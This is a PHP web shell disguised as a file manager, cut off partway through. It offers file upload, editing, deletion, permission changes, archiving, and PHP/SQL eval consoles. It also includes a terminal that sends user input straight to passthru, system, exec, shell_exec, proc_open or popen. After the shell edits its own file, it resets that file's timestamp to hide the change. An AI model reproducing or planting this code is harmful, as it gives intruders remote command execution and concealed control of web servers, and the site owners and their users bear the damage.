edsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        sd<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        sd<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
sd<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
sd<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
sd<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
